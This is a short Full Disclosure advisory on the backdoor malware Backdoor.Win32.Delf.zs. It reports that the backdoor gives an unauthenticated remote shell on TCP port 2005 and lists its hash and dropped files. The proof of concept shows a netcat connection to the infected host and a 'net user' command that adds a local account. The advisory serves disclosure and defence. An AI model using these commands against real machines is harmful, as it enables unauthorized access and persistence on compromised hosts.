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Date: Fri, 26 Mar 2021 13:36:45 -0400
From: malvuln <>
Subject: [FD] Backdoor.Win32.Delf.zs / Unauthenticated Remote Command

Discovery / credits: Malvuln - (c) 2021
Original source:

Threat: Backdoor.Win32.Delf.zs
Vulnerability: Unauthenticated Remote Command Execution
Description: Backdoor Delf.zs c0ded By Eb0La, is used to build backdoors
that listen on TCP port 2005. Upon building it drops an executable named
"[Shell_Me]_Server.exe." The name for the spawned backdoor defaults to
"Syst32.exe" but can be customized. Third-party attackers who can reach
infected systems can execute arbitrary commands by simply connecting to the
backdoor which will return a remote shell to the infected host as no
authentication exists.
Type: PE32
MD5: 911e96073cfe807289366343aa8d97ac
Vuln ID: MVID-2021-0150
Dropped files: [Shell_Me]_Server.exe, Syst32.exe
Disclosure: 03/26/2021

nc64.exe x.x.x.x 2005

Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\>net user dirty0tis abc123 /add
net user dirty0tis abc123 /add
The command completed successfully.

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